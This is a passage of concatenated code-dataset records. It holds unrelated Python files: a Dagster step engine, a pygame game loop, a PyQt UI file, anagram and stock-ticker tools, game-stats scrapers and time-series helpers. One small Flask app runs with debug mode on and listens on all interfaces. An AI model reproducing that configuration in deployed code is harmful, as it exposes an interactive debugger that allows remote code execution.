rank = int(input(\"Rank (must be a positive integer): \"))\n if rank > 0:\n break\n else:\n print(\n \"La valeur doit être strictement positive. Veuillez entrer un nombre valide\"\n )\n except ValueError:\n print(\n \"La valeur doit être un nombre strictement positif, Veuillez entrer un nombre valide\"\n )\n\n print(\"\\nPlayer Added to the tournament\\n\")\n self.__player_list.append(\n Player(l_name, f_name, date_birth, gender, rank))\n\n def save_player_into_db(self, db_file):\n db = TinyDB(db_file)\n for player in self.__player_list:\n db.insert(player.__dict__)\n\n def get_player_description(self, index=None):\n if index:\n print(self.__player_list[index])\n else:\n for player in self.__player_list:\n print(player)\n\n\ndef main():\n t1 = Tournament()\n t1.add_new_player()\n t1.get_player_description()\n t1.add_new_player()\n t1.get_player_description()\n t1.get_player_description(1)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"controller/controltour.py","file_name":"controltour.py","file_ext":"py","file_size_in_byte":3400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"374074782","text":"from contextlib import contextmanager\nimport sys\n\nfrom future.utils import raise_from\n\nfrom dagster import check\n\nfrom dagster.utils.logging import get_formatted_stack_trace\n\nfrom dagster.utils.timing import time_execution_scope\n\nfrom dagster.core.definitions import Result\n\nfrom dagster.core.errors import (\n DagsterError,\n DagsterInvariantViolationError,\n DagsterRuntimeCoercionError,\n DagsterExecutionStepExecutionError,\n DagsterTypeError,\n)\n\nfrom dagster.core.execution_context import RuntimeExecutionContext\n\nfrom .objects import (\n ExecutionPlan,\n ExecutionStep,\n StepResult,\n StepOutputHandle,\n StepSuccessData,\n StepFailureData,\n)\n\n\ndef _all_inputs_covered(step, results):\n for step_input in step.step_inputs:\n if step_input.prev_output_handle not in results:\n return False\n return True\n\n\ndef execute_plan_core(context, execution_plan):\n check.inst_param(context, 'base_context', RuntimeExecutionContext)\n check.inst_param(execution_plan, 'execution_plan', ExecutionPlan)\n steps = list(execution_plan.topological_steps())\n\n intermediate_results = {}\n context.debug(\n 'Entering execute_steps loop. Order: {order}'.format(order=[step.key for step in steps])\n )\n\n for step in steps:\n context_for_step = context.for_step(step)\n\n if not _all_inputs_covered(step, intermediate_results):\n result_keys = set(intermediate_results.keys())\n expected_outputs = [ni.prev_output_handle for ni in step.step_inputs]\n\n context_for_step.debug(\n (\n 'Not all inputs covered for {step}. Not executing. Keys in result: '\n '{result_keys}. Outputs need for inputs {expected_outputs}'\n ).format(expected_outputs=expected_outputs, step=step.key, result_keys=result_keys)\n )\n continue\n\n input_values = {}\n for step_input in step.step_inputs:\n prev_output_handle = step_input.prev_output_handle\n input_value = intermediate_results[prev_output_handle].success_data.value\n input_values[step_input.name] = input_value\n\n for result in execute_step(step, context_for_step, input_values):\n check.invariant(isinstance(result, StepResult))\n yield result\n if result.success:\n output_handle = StepOutputHandle(step, result.success_data.output_name)\n intermediate_results[output_handle] = result\n\n\ndef execute_step(step, context, inputs):\n check.inst_param(step, 'step', ExecutionStep)\n check.inst_param(context, 'context', RuntimeExecutionContext)\n check.dict_param(inputs, 'inputs', key_type=str)\n\n try:\n for step_result in _execute_steps_core_loop(step, context, inputs):\n context.info(\n 'Step {step} emitted {value} for output {output}'.format(\n step=step.key,\n value=repr(step_result.success_data.value),\n output=step_result.success_data.output_name,\n )\n )\n yield step_result\n except DagsterError as dagster_error:\n context.error(str(dagster_error))\n yield StepResult.failure_result(\n step=step, kind=step.kind, failure_data=StepFailureData(dagster_error=dagster_error)\n )\n return\n\n\ndef _error_check_results(step, results):\n seen_outputs = set()\n for result in results:\n if not step.has_step_output(result.output_name):\n output_names = list(\n [output_def.name for output_def in step.solid.definition.output_defs]\n )\n raise DagsterInvariantViolationError(\n '''Core transform for {step.solid.name} returned an output\n {result.output_name} that does not exist. The available\n outputs are {output_names}'''.format(\n step=step, result=result, output_names=output_names\n )\n )\n\n if result.output_name in seen_outputs:\n raise DagsterInvariantViolationError(\n '''Core transform for {step.solid.name} returned an output\n {result.output_name} multiple times'''.format(\n step=step, result=result\n )\n )\n\n seen_outputs.add(result.output_name)\n\n\ndef _execute_steps_core_loop(step, context, inputs):\n evaluated_inputs = {}\n # do runtime type checks of inputs versus step inputs\n for input_name, input_value in inputs.items():\n evaluated_inputs[input_name] = _get_evaluated_input(step, input_name, input_value)\n\n results = _compute_result_list(step, context, evaluated_inputs)\n\n _error_check_results(step, results)\n\n return [_create_step_result(step, result) for result in results]\n\n\ndef _create_step_result(step, result):\n check.inst_param(result, 'result', Result)\n\n step_output = step.step_output_named(result.output_name)\n\n try:\n coerced_value = step_output.runtime_type.coerce_runtime_value(result.value)\n except DagsterRuntimeCoercionError as e:\n raise DagsterInvariantViolationError(\n '''Solid {step.solid.name} output name {output_name} output {result.value}\n type failure: {error_msg}'''.format(\n step=step, result=result, error_msg=','.join(e.args), output_name=result.output_name\n )\n )\n\n return StepResult.success_result(\n step=step,\n kind=step.kind,\n success_data=StepSuccessData(output_name=result.output_name, value=coerced_value),\n )\n\n\ndef _get_evaluated_input(step, input_name, input_value):\n step_input = step.step_input_named(input_name)\n try:\n return step_input.runtime_type.coerce_runtime_value(input_value)\n except DagsterRuntimeCoercionError as evaluate_error:\n raise_from(\n DagsterTypeError(\n (\n 'Solid {step.solid.name} input {input_name} received value {input_value} '\n 'which does not pass the typecheck for Dagster type '\n '{step_input.runtime_type.name}. Step {step.key}'\n ).format(\n step=step, input_name=input_name, input_value=input_value, step_input=step_input\n )\n ),\n evaluate_error,\n )\n\n\ndef _compute_result_list(step, context, evaluated_inputs):\n error_str = 'Error occured during step {key}'.format(key=step.key)\n with _execution_step_error_boundary(context, step, error_str):\n gen = step.compute_fn(context, step, evaluated_inputs)\n\n if gen is None:\n check.invariant(not step.step_outputs)\n return\n\n return list(gen)\n\n\n@contextmanager\ndef _execution_step_error_boundary(context, step, msg, **kwargs):\n '''\n Wraps the execution of user-space code in an error boundary. This places a uniform\n policy around an user code invoked by the framework. This ensures that all user\n errors are wrapped in the SolidUserCodeExecutionError, and that the original stack\n trace of the user error is preserved, so that it can be reported without confusing\n framework code in the stack trace, if a tool author wishes to do so. This has\n been especially help in a notebooking context.\n '''\n check.inst_param(context, 'context', RuntimeExecutionContext)\n check.str_param(msg, 'msg')\n\n context.events.execution_plan_step_start(step.key)\n try:\n with time_execution_scope() as timer_result:\n yield\n\n context.events.execution_plan_step_success(step.key, timer_result.millis)\n except Exception as e: # pylint: disable=W0703\n context.events.execution_plan_step_failure(step.key, sys.exc_info())\n\n stack_trace = get_formatted_stack_trace(e)\n context.error(str(e), stack_trace=stack_trace)\n\n if isinstance(e, DagsterError):\n raise e\n else:\n raise_from(\n DagsterExecutionStepExecutionError(\n msg.format(**kwargs), user_exception=e, original_exc_info=sys.exc_info()\n ),\n e,\n )\n","sub_path":"python_modules/dagster/dagster/core/execution_plan/simple_engine.py","file_name":"simple_engine.py","file_ext":"py","file_size_in_byte":8175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"653621880","text":"import sys \nfrom pygame.sprite import Group \nimport pygame\nfrom settings import Settings\nfrom game_stats import GameStats\nfrom button import Button\nfrom ship import Ship\nimport game_functions as gf\n\ndef run_game():\n pygame.init()\n ai_settings = Settings()\n screen = pygame.display.set_mode((ai_settings.screen_width,ai_settings.screen_height))\n pygame.display.set_caption(\"Alien Invasion\")\n play_button = Button(ai_settings,screen,\"Play\")\n\n stats = GameStats(ai_settings)\n ship = Ship(ai_settings,screen)\n bullets = Group()\n aliens = Group()\n gf.create_fleet(ai_settings,screen,ship,aliens)\n while True:\n gf.check_events(ai_settings, screen,stats,play_button,ship,bullets)\n if stats.game_active:\n ship.update_location()\n # bullets.update()\n # 把已消失在屏幕的子弹删除,生的占用内存,使游戏变慢\n gf.update_bullets(ai_settings, screen,ship,aliens,bullets)\n gf.update_aliens(ai_settings,stats,screen,ship,aliens,bullets)\n gf.update_screen(ai_settings,screen,stats,ship,aliens,bullets,play_button)\nrun_game()\n","sub_path":"alien_invasion.py","file_name":"alien_invasion.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"296121478","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.6-x86_64/egg/bibolamazi_gui/qtauto/ui_filterinstanceeditor.py\n# Compiled at: 2015-05-11 05:40:29\nfrom PyQt4 import QtCore, QtGui\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n\n def _fromUtf8(s):\n return s\n\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\n\n\nexcept AttributeError:\n\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\n\nclass Ui_FilterInstanceEditor(object):\n\n def setupUi(self, FilterInstanceEditor):\n FilterInstanceEditor.setObjectName(_fromUtf8('FilterInstanceEditor'))\n FilterInstanceEditor.resize(368, 361)\n self.gridLayout = QtGui.QGridLayout(FilterInstanceEditor)\n self.gridLayout.setObjectName(_fromUtf8('gridLayout'))\n self.horizontalLayout = QtGui.QHBoxLayout()\n self.horizontalLayout.setObjectName(_fromUtf8('horizontalLayout'))\n self.label = QtGui.QLabel(FilterInstanceEditor)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(1)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth())\n self.label.setSizePolicy(sizePolicy)\n self.label.setObjectName(_fromUtf8('label'))\n self.horizontalLayout.addWidget(self.label)\n self.cbxFilter = QtGui.QComboBox(FilterInstanceEditor)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(2)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.cbxFilter.sizePolicy().hasHeightForWidth())\n self.cbxFilter.setSizePolicy(sizePolicy)\n self.cbxFilter.setEditable(True)\n self.cbxFilter.setInsertPolicy(QtGui.QComboBox.NoInsert)\n self.cbxFilter.setObjectName(_fromUtf8('cbxFilter'))\n self.horizontalLayout.addWidget(self.cbxFilter)\n self.gridLayout.addLayout(self.horizontalLayout, 0, 0, 1, 2)\n self.lstOptions = QtGui.QTreeView(FilterInstanceEditor)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Expanding)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.lstOptions.sizePolicy().hasHeightForWidth())\n self.lstOptions.setSizePolicy(sizePolicy)\n self.lstOptions.setVerticalScrollMode(QtGui.QAbstractItemView.ScrollPerPixel)\n self.lstOptions.setHorizontalScrollMode(QtGui.QAbstractItemView.ScrollPerPixel)\n self.lstOptions.setIndentation(0)\n self.lstOptions.setItemsExpandable(False)\n self.lstOptions.setAllColumnsShowFocus(True)\n self.lstOptions.setObjectName(_fromUtf8('lstOptions'))\n self.gridLayout.addWidget(self.lstOptions, 3, 0, 1, 2)\n self.hlytButtons = QtGui.QHBoxLayout()\n self.hlytButtons.setObjectName(_fromUtf8('hlytButtons'))\n self.btnFilterHelp = QtGui.QPushButton(FilterInstanceEditor)\n self.btnFilterHelp.setObjectName(_fromUtf8('btnFilterHelp'))\n self.hlytButtons.addWidget(self.btnFilterHelp)\n self.btnAddFavorite = QtGui.QToolButton(FilterInstanceEditor)\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(_fromUtf8(':/pic/bookmark.png')), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.btnAddFavorite.setIcon(icon)\n self.btnAddFavorite.setObjectName(_fromUtf8('btnAddFavorite'))\n self.hlytButtons.addWidget(self.btnAddFavorite)\n self.gridLayout.addLayout(self.hlytButtons, 4, 0, 1, 2)\n self.retranslateUi(FilterInstanceEditor)\n QtCore.QMetaObject.connectSlotsByName(FilterInstanceEditor)\n\n def retranslateUi(self, FilterInstanceEditor):\n FilterInstanceEditor.setWindowTitle(_translate('FilterInstanceEditor', 'Form', None))\n self.label.setText(_translate('FilterInstanceEditor', 'Filter:', None))\n self.btnFilterHelp.setText(_translate('FilterInstanceEditor', 'Help: Filter Reference', None))\n self.btnAddFavorite.setToolTip(_translate('FilterInstanceEditor', 'Add this full command line to your favorites', None))\n return\n\n\nfrom . import bibolamazi_res_rc","sub_path":"pycfiles/bibolamazi_gui-3.0beta3-py2.7/ui_filterinstanceeditor.py","file_name":"ui_filterinstanceeditor.py","file_ext":"py","file_size_in_byte":4536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"619286253","text":"#!/usr/bin/python3\n\nfrom flask import Flask\nimport requests\nimport json\n\napp = Flask(__name__)\n\n@app.route(\"/liveleak/\")\ndef social_search(title):\n r = _social_search_helper(title)\n comment = None\n for i in range(len(r['items'])):\n comment = r['items'][0]['description'].strip()\n if len(comment) > 0:\n break\n\n if comment is None or len(comment) == 0:\n comment = \"Shit! Jacob Bot didn't find anything about {0}\".format(title)\n\n return comment\n\ndef _social_search_helper(title):\n BASE_URL = \"http://socialmention.com/search?q=\"\n URI_EXTENSIONS = \"&f=json&t=comments&src=facebook\"\n r = requests.get(BASE_URL + title + URI_EXTENSIONS)\n return json.loads(r.text)\n\nif __name__ == \"__main__\":\n app.debug = True\n app.run(host=\"0.0.0.0\")\n\n\n\n","sub_path":"SocialUrlSearcher.py","file_name":"SocialUrlSearcher.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"606374312","text":"\"\"\"\nvoldemot\n\nTakes a set of letters (such as a name) and assembles combinations of words based on it.\nUsing English word list from SCOWL.\nThe results are output to a text file: [input]-iter.txt\n\nUsage:\npython voldemot letters [filename] [slots]\n\nFor example,\npython voldemot.py albertcamus words/voldemot-dict.txt 2\n\nwill yield a text file called albert-camus.iter with 1125\ncombinations, \"a clubmaster\" and \"cabal muster\" to\n\"macabre slut\" and \"tsamba ulcer\".\n\"\"\"\n\nimport sys\nimport re\nimport time\nimport asyncio\nimport voldemot_utils as vol\nimport wordDB\n\ndef main(args):\n \"\"\" main program \"\"\"\n start = time.time()\n\n worddb = wordDB.wordDB()\n worddb.query(\"CREATE TABLE words(word text, length int)\")\n\n # for i in enumerate(args):\n # print(i)\n\n if len(args) < 2:\n print(\"Not enough arguments.\\nUsage:\\npython name-scrambler letters [filename]\")\n\n # load source soup\n letters = args[1]\n\n # remove spaces and non-alphabetical characters\n letters = re.sub(r\"\\W?\\d?\", \"\", letters).lower()\n sortedLetters = sorted(list(letters))\n\n print(\"Source soup (\" + letters + \") has \" + str(len(letters)) + \" characters\")\n\n # generate dictionary file name\n wordFileName = \"words/voldemot-dict.txt\"\n if len(args) > 3:\n wordFileName = args[2]\n\n # set number of slots\n wordCount = 3\n if len(args) > 3:\n wordCount = int(args[3])\n\n # find words present in the soup\n wordsFound = vol.findWords(wordFileName, letters, worddb)\n print(\"Found \" + str(len(wordsFound)) + \" words.\")\n\n # generate all possible and put them in the fullMatch list\n loop = asyncio.get_event_loop()\n fullMatch = loop.run_until_complete(generateList(sortedLetters, wordCount, worddb))\n loop.close()\n\n print(\"There are \" + str(len(fullMatch)) + \" full matches.\")\n\n # for entry in fullMatch:\n # myStr = \"\"\n # for word in entry:\n # myStr = myStr + word + \" \"\n # print(myStr)\n\n end = time.time()\n print(str(int(end-start)) + \" seconds elapsed\")\n\ndef voldemot(letters, wordsRequested):\n \"\"\" simplified function call that always goes to the standard dictionary \"\"\"\n worddb = wordDB.wordDB()\n worddb.query(\"CREATE TABLE words(word text, length int)\")\n\n # remove spaces and non-alphabetical characters\n letters = re.sub(r\"\\W?\\d?\", \"\", letters).lower()\n letters = letters[:16]\n\n vol.findWords(\"words/voldemot-dict.txt\", letters, worddb)\n fullMatch = generateList(sorted(letters), wordsRequested, worddb)\n return letters, fullMatch\n\nasync def generateList(sortedSoup, wordCount, worddb):\n \"\"\" Returns a list of valid combinations in fullMatch \"\"\"\n fullMatch = []\n\n # Check for all possible combinations against the soup\n print(\"Checking \" + str(wordCount) + '-word combinations...')\n lenCombos = vol.splitOptions(len(sortedSoup), wordCount)\n print(lenCombos)\n setList = vol.generateCandidates(lenCombos, worddb)\n setCount = len(setList)\n\n if setList:\n print(\"setList length: \" + str(setCount))\n\n lock = asyncio.Lock()\n progress = [1, setCount]\n\n for entry in setList:\n asyncio.ensure_future(vol.processSet(sortedSoup, entry,\n lock, fullMatch, progress))\n\n return fullMatch\n\nif __name__ == \"__main__\":\n main(sys.argv)\n","sub_path":"voldemot.py","file_name":"voldemot.py","file_ext":"py","file_size_in_byte":3333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"86754103","text":"from transitions.extensions import GraphMachine\n\nfrom random import *\nimport requests\nfrom bs4 import BeautifulSoup\nimport re\nfrom urllib.request import urlretrieve\nimport os\n\n\n\nclass TocMachine(GraphMachine):\n def __init__(self, **machine_configs):\n self.machine = GraphMachine(\n model = self,\n **machine_configs\n )\n################################################################\n def is_going_to_listen1(self, update):\n print('go to search Summoner')\n text = update.message.text\n return text.lower() == 'search my rank'\n\n def on_enter_listen1(self, update):\n update.message.reply_text(\"Please Enter Summoner's Name \")\n\n def on_exit_listen1(self, update):\n print('Leaving state1')\n\n\n def is_going_to_rank(self, update):\n print('going to rank')\n text = update.message.text\n Rank=crawler_rank(text)\n if Rank!='Wrong Input Name!!':\n update.message.reply_text(\"Rank:\")\n update.message.reply_text(Rank)\n return True\n else:\n update.message.reply_text('Wrong Input')\n return False\n \n\n def on_enter_rank(self, update):\n print('on enter')\n\t\n def on_exit_rank(self, update):\n print('Leaving rank')\n\n\n def is_going_to_stat(self, update):\n print('going to rank')\n text = update.message.text\n Stat=crawler_record(text)\n if Stat!='Wrong Input Name!!':\n update.message.reply_text(\"狀態:\")\n update.message.reply_text(Stat)\n return True\n else:\n update.message.reply_text('Wrong Input')\n return False\n\n\n def on_enter_stat(self, update):\n print('on enter stat')\n self.go_back(update)\n\n\n def on_exit_rank(self, update):\n print('Leaving stat')\n###############################################################\n def is_going_to_listen2(self, update):\n print('go to search hero')\n text = update.message.text\n return text.lower() == 'search pop hero'\n\n def on_enter_listen2(self, update):\n update.message.reply_text(\"請選取何種牌位和哪個位置\")\n update.message.reply_text(\"位置 上路:/top 中路:/middle 打野:/jungle AD:/adc 輔助:/support\")\t\n update.message.reply_text(\"牌位 全部:/all 青銅:/bronze 白銀:/silver 黃金:/gold 白金:/platinum 鑽石:/diamond\")\n update.message.reply_text(\"牌位和位置都可選可不選 範例: /top/silver or /top or /bronze\")\n\n def on_exit_listen2(self, update):\n print('Leaving state2')\n\n\n def is_going_to_hero(self, update):\n print('going to hero')\n text = update.message.text\n Hero=crawler_hero(text)\n if Hero!='Wrong Input':\n update.message.reply_text(\"Top 5 Hero:\")\n update.message.reply_text(Hero)\n return True\n else:\n update.message.reply_text('Wrong Input')\n return False\n\n def on_enter_hero(self, update):\n print('on enter')\n self.go_back(update)\n\n def on_exit_hero(self, update):\n print('Leaving Hero')\n#################################################################\n def is_going_to_time(self, update):\n print('going to time')\n text = update.message.text\n return text.lower() == 'search game average time'\n\n def on_enter_time(self, update):\n print('on enter')\n Time=crawler_time()\n update.message.reply_text(\"平均遊戲時間:\")\n update.message.reply_text(Time)\n self.go_back(update)\n\t\n def on_exit_time(self, update):\n print('Leaving time')\n\n##################################################################\ndef crawler_rank(name='ScorpioGary'):\n url=\"https://lol.moa.tw/summoner/show/\"+name\n print('Your want to search '+name)\n res=requests.get(url)\n soup=BeautifulSoup(res.text,'html.parser')\n articles=soup.select('div.col-xs-6')\n if len(articles)==0:\n rank=(\"Wrong Input Name!!\")\n else:\n rank=articles[0].text\n print(rank)\n return rank\n###################################################################\ndef crawler_hero(state):\n url='https://www.leagueofgraphs.com/zh/champions/stats'\n #state='/top/silver'\n url=url+state\n print(url)\n res=requests.get(url)\n soup=BeautifulSoup(res.text,'html.parser')\n articles=soup.select('table.data_table')\n if len(articles)==0:\n print(\"Wrong Input\")\n result=(\"Wrong Input\")\n return result\n article=articles[0]\n\n\n rows=article.findAll('tr')\n data=[]\n i=0\n for row in rows:\n i=i+1\n cols=row.findAll(\"td\")\n cols = [ele.text.strip() for ele in cols]\n data.append([ele for ele in cols if ele])\n if i>=6:\n break\n del data[0]\n result=\" 名子 出場率 勝率 禁用率 K/D/A 場均五連殺\\n\"\n for row in range(5):\n tmp=''\n for col in range(7):\n data[row][col]=data[row][col].replace(' ','')\n data[row][col]=data[row][col].replace('\\n','')\n data[row][col]=data[row][col].replace('\\r','')\n if col>=2 and col<=4:\n if col==4:\n data[row][col]=data[row][col][:4]\n else:\n data[row][col]=data[row][col][:5]\n tmp=tmp+data[row][col]+' '\n tmp=tmp+\"\\n\"\n result=result+tmp\n \n print(result) \n return result\n###########################################################################\ndef crawler_time():\n url=\"https://www.leagueofgraphs.com/zh/rankings/game-durations\"\n res=requests.get(url)\n soup=BeautifulSoup(res.text,'html.parser')\n articles=soup.select('table.data_table.sortable_table')\n article=articles[0]\n \n rows=article.findAll('tr')\n data=[]\n for row in rows:\n cols=row.findAll(\"td\")\n cols = [ele.text.strip() for ele in cols]\n data.append([ele for ele in cols if ele])\n del data[0]\n\n result=''\n for row in range(len(data)):\n tmp=''\n for col in range(len(data[0])):\n data[row][col]=data[row][col].replace(' ','')\n data[row][col]=data[row][col].replace('\\n','')\n data[row][col]=data[row][col].replace('\\r','')\n if col==1:\n data[row][col]=data[row][col][:5]\n tmp=tmp+data[row][col]+' '\n tmp=tmp+'\\n'\n result=result+tmp\n \n print(result)\n return result\n#####################################################################\ndef crawler_record(name='ScorpioGary'):\n url=\"https://lol.moa.tw/summoner/show/\"+name\n print('Your want to search '+name)\n res=requests.get(url)\n soup=BeautifulSoup(res.text,'html.parser')\n articles=soup.select('div.col-xs-3.h2')\n if len(articles)==0:\n data=(\"Wrong Input Name!!\")\n return data\n result=''\n result=\"友善: \"+articles[0].text+'\\n'\n result=result+\"熱心助人: \"+articles[1].text+'\\n'\n result=result+\"團隊合作: \"+articles[2].text+'\\n'\n result=result+\"可敬的對手:\"+articles[3].text+'\\n'\n print(result)\n return result \n","sub_path":"fsm.py","file_name":"fsm.py","file_ext":"py","file_size_in_byte":7200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"331107011","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport requests\nfrom urllib.request import urlopen as uReq\nfrom bs4 import BeautifulSoup as soup\nfrom os import system\n\n\ndef start_ticker():\n\tsystem('cls')\n\tprint('%9s %9s %9s %9s %15s %15s'%('Ticker','Price','Open','Close','Volume','Ave. Volume'))\n\tprint('-----------------------------------------------------------------------------')\n\twith open('ticker.txt','r') as f:\n\t\ttmp = f.readline()\n\t\tfor line in f:\n\t\t\ttry:\n\t\t\t\tticker = line.strip('\\n')\n\t\t\t\tmy_url = 'https://finance.yahoo.com/quote/'+ticker+'?p='+ticker\n\t\t\t\tuClient = uReq(my_url)\n\t\t\t\tpage_html = uClient.read()\n\t\t\t\tpage_soup = soup(page_html,'html.parser')\n\t\t\t\tcurPrice = page_soup.findAll(\"span\",{\"class\":\"Trsdu(0.3s) Fw(b) Fz(36px) Mb(-4px) D(ib)\"})\n\t\t\t\topenPrice = page_soup.findAll(\"td\",{\"data-test\":\"OPEN-value\"})\n\t\t\t\tclosePrice = page_soup.findAll(\"td\",{\"data-test\":\"PREV_CLOSE-value\"})\n\t\t\t\tvolumn = page_soup.findAll(\"td\",{\"data-test\":\"TD_VOLUME-value\"})\n\t\t\t\taveVolumn = page_soup.findAll(\"td\",{\"data-test\":\"AVERAGE_VOLUME_3MONTH-value\"})\n\t\t\t\tprint('%9s %9s %9s %9s %15s %15s'%(ticker,curPrice[0].text,openPrice[0].text,closePrice[0].text,volumn[0].text,aveVolumn[0].text))\n\t\t\texcept:\n\t\t\t\tprint(ticker, ': Invalid ticker')\n\t\tprint()\n\t\tpass\n\ndef add_ticker(stock):\n\twith open('ticker.txt','a') as f:\n\t\trequest = requests.get('https://finance.yahoo.com/quote/'+stock+'?p='+stock)\n\t\tif request.status_code == 200:\n\t\t\tf.write('\\n'+stock)\n\t\telse:\n\t\t\tprint('Invalid ticker')\n\n\ndef remove_ticker(stock):\n\twith open('ticker.txt', 'r') as rf:\n\t\twith open('ticker_tmp.txt', 'w') as wf:\n\t\t\tfor line in rf:\n\t\t\t\tcurTicker = line.strip('\\n')\n\t\t\t\tprint('->',curTicker)\n\t\t\t\tif stock != curTicker:\n\t\t\t\t\twf.write(curTicker+'\\n')\n\tos.remove('ticker.txt')\n\tos.rename('ticker_tmp.txt', 'ticker.txt')\n\n\ndef create_new():\n\tscript_dir = os.path.dirname(__file__)\n\ttickerPath = os.path.join(os.getcwd(),'ticker.txt')\n\tf = open(tickerPath, 'w')\n\tf.close()","sub_path":"venv/Lib/site-packages/Yahoo_Finance_Stock_Ticker/ticker.py","file_name":"ticker.py","file_ext":"py","file_size_in_byte":2029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"59728646","text":"'''Name: Time Series Modeling\n\nDescription: Functions created to assist with the creation and evaluation of time series models.\n\nBy Ben McCarty (bmccarty505@gmail.com)'''\n\n### ----- Importing Dependencies ----- ###\n\nfrom IPython.display import display\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\nimport statsmodels.tsa.api as tsa\n\nimport pmdarima as pmd\nfrom pmdarima.arima import ndiffs\nfrom pmdarima.arima import nsdiffs\n\n### ----------------------------------- Functions ----------------------------------- ###\n\n## --------------- Stationary Methods --------------- ##\n\ndef adf_test(ts, p = .05):\n zipdf_results = tsa.stattools.adfuller(ts)\n \n index_label = [f'Results: {ts.name}']\n labels = ['Test Stat','P-Value','Number of Lags Used','Number of Obs. Used',\n 'Critical Thresholds', 'AIC Value']\n results_dict = dict(zip(labels,zipdf_results))\n\n ## Saving results to a dictionary and adding T/F indicating stationarity\n results_dict[f'p < {p}'] = results_dict['P-Value'] < p\n results_dict['Stationary'] = results_dict[f'p < {p}']\n\n ## Creating DataFrame from dictionary\n if isinstance(index_label,str):\n index_label = [index_label]\n results_dict = pd.DataFrame(results_dict,index=index_label)\n results_dict = results_dict[['Test Stat','P-Value','Number of Lags Used',\n 'Number of Obs. Used','P-Value',f'p < {p}',\n 'Stationary']]\n \n return results_dict\n\ndef remove_trends(timeseries, method, window = 4, figsize=(10,5)):\n if method == 'diff':\n results = timeseries.diff().dropna()\n elif method == 'log':\n results = np.log(timeseries)\n elif method == 'rolling' or method == 'rolling mean':\n results = timeseries - timeseries.rolling(window = window).mean()\n results.dropna(inplace=True)\n elif method == 'ewm' or method == 'EWM':\n results = timeseries-timeseries.ewm(4).mean()\n results.dropna(inplace=True)\n \n print(\"|\",\"---\"*7,f\"{method.title()} Effect on Zipcode {timeseries.name}\",\n \"-----\"*6,\"|\",'\\n\\n')\n print(\"|\",\"---\",f\"Zipcode {timeseries.name}\",\"---\",\"|\",\"\\n\")\n print(results)\n print('\\n\\n',\"|\",\"----\"*5,f\"ADF Results for Zipcode {timeseries.name}\",\n \"-----\"*6,\"|\")\n display(adf_test(results))\n\n print('\\n\\n','|',\"---\"*8,f\"Visualizing {method.title()} Effect\",\"----\"*8,\n \"|\")\n fig, ax = plt.subplots(figsize=figsize)\n ax = results.plot(label=f'{timeseries.name}')\n ax.legend()\n ax.set_xlabel('Years')\n ax.set_ylabel('Price ($)')\n \n if method != 'ewm' and method != 'EWM':\n ax.set_title(f'{method.title()} Effect on Zipcode {timeseries.name}')\n else:\n ax.set_title(f'{method.capitalize()} Effect on Zipcode \\\n {timeseries.name}')\n plt.show()\n \n return results\n\ndef plot_acf_pacf(data, lags=52, suptitle=None, figsize = (10,5)):\n \"\"\"Plot pacf and acf using statsmodels\n \n Adapted from: https://github.com/flatiron-school/Online-DS-FT-022221-\\\n Cohort-Notes/blob/master/Phase_4/topic_38_time_series_models/topic_38-\\\n time_series_models_v3_SG.ipynb\"\"\"\n \n fig,axes=plt.subplots(nrows=2, figsize = figsize)\n \n tsa.graphics.plot_acf(data,ax=axes[0],lags=lags)\n tsa.graphics.plot_pacf(data,ax=axes[1],lags=lags)\n \n ## Add gridlines and y-labels\n [ax.grid(axis='both',which='both') for ax in axes]\n [ax.set_ylabel('Corr. Strength') for ax in axes]\n \n if suptitle is not None:\n fig.suptitle(suptitle,fontweight='bold',fontsize=15)\n \n fig.tight_layout()\n\n return fig,axes\n\n### --------------- Modeling --------------- ###\n\n# Creating train/test split for time series modeling\ndef train_test_split(data, split_point, xlabel, ylabel, title,\n figsize = (10,5), show_vis = True):\n \"\"\"Creates train/test split for time series modeling.\n\n Args:\n data (Series): Pandas Series with datetime index.\n split_point (str or float): either specific date (as string) or percentage (as float) for dividing the data\n x_label (str): Label for x-axis\n y_label (str): Label for y-axis\n title (str): Label for visualization title.\n figsize (tuple, optional): Matplotlib figure size. Defaults to (10,5).\n show_vis (bool, optional): Boolearn controlling whether to show figure. Defaults to True.\n\n Returns:\n dictionary: Dictionary storing train/test series and visualization of results.\n \"\"\" 